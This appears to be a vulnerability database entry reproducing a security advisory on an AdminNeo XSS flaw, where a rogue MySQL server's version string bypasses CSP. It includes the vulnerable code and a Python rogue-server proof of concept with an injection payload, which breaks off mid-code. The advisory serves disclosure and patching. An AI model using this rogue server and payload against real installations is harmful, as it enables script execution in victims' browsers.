A AegiFlow
HIGHCVSS 8.2

CVE-2026-96632

AdminNeo Vulnerable to XSS via Rogue MySQL Server Version String (CSP Nonce Bypass)

Published
2026-10-30
Modified
2026-10-30
Aliases
GHSA-rx7m-wxwq-vxr9
Sources
github-advisory

Summary

## Summary AdminNeo inserts the database server's version string into a ` ` tag that carries a valid CSP nonce, without any sanitization. A rogue database server can return a crafted version string that breaks out of the JavaScript context and executes arbitrary code. Because the script tag already has a valid nonce, the browser's Content Security Policy does not block execution. No authentication is required when combined with Login CSRF. Originally reported in Adminer: https://github.com/vrana/adminer/security/advisories/GHSA-h6jr-7pr6-grgj ## Prerequisites - Target runs AdminNeo - Attacker controls a reachable MySQL server (a 80-line Python script) ## Root Cause `admin/core/Admin.php`, lines 1285-1286: ```php echo script("let autocompletion;\nwindow.addEventListener('DOMContentLoaded', () => { initSyntaxHighlighting('" . Connection::get()->getVersion() . "', '" . Connection::get()->getFlavor() . "', autocompletion); });"); ``` `script()` wraps the output in ` `. Return value of `Connection::get()->getVersion()` is not escaped. ## Steps To Reproduce ### 1. Build the environment **Dockerfile** (AdminNeo): ```dockerfile FROM php:8.3-cli COPY adminneo.php /var/www/adminneo.php WORKDIR /var/www EXPOSE 8081 CMD ["php", "-S", "0.0.0.0:8081"] ``` **rogue_mysql.py** (fake MySQL server that accepts any login): ```python import socket, struct, threading PAYLOAD = "1');alert(origin)//" # Capability flags the client expects CAP_PROTOCOL_41 = 0x0200 CAP_SECURE_CONNECTION = 0x8000 CAP_PLUGIN_AUTH = 0x00080000 CAPS_LOW = CAP_PROTOCOL_41 | CAP_SECURE_CONNECTION CAPS_HIGH = (CAP_PLUGIN_AUTH >> 16) def make_packet(seq, payload): length = struct.pack("<I", len(payload))[:3] return length + bytes([seq]) + payload def make_greeting(version_str): pkt = b"\x0a" # protocol version 10 pkt += version_str.encode() + b"\x00" # version string pkt += struct.pack("<I", 1) # connection id pkt += b"\x41" * 8 # auth plugin data part 1 pkt += b"\x00" # filler pkt += struct.pack("<H", CAPS_LOW) # capability flags lower pkt += b"\x21" # charset utf8 pkt += struct.pack("<H", 0x0002) # status flags pkt += struct.pack("<H", CAPS_HIGH) # capability flags upper pkt += b"\x15" # auth data length (21) pkt += b"\x00" * 10 # reserved pkt += b"\x41" * 12 + b"\x00" # auth plugin data part 2 pkt += b"mysql_native_password\x00" # auth plugin name return make_packet(0, pkt) def make_ok(seq): pkt = b"\x00" # OK marker pkt += b"\x00" # affected rows pkt += b"\x00" # last insert id pkt += struct.pack("<H", 0x0002) # status flags pkt += struct.pack("<H", 0) # warnings return make_packet(seq, pkt) def make_eof(seq): pkt = b"\xfe" pkt += struct.pack("<H", 0) # warnings pkt += struct.pack("<H", 0x0002) # status flags return make_packet(seq, pkt) def make_err(seq, msg=b"not supported"): pkt = b"\xff" pkt += struct.pack("<H", 1045) pkt += b"#HY000" pkt += msg return make_packet(seq, pkt) def handle(conn): conn.sendall(make_greeting(PAYLOAD)) try: conn.recv(4096) # client login request except Exception: conn.close() return conn.sendall(make_ok(2)) # accept login # Answer any queries Adminer sends after login while True: try: data = conn.recv(4096) if not data: break seq = data[3] + 1 # Send ERR for all queries (Adminer still has the version in memory) conn.sendall(make_err(seq)) except Exception: brea

Affected packages

EcosystemPackageAffected versionsFixed versions
Packagistadminneo-org/adminneo—5.5.1

Remediation: Upgrade to 5.5.1 or later.

References

Includes data from the GitHub Advisory Database, licensed under CC-BY 4.0.

CVE® is a registered trademark of The MITRE Corporation. CVE content reproduced under the CVE Terms of Use; copyright designation © MITRE.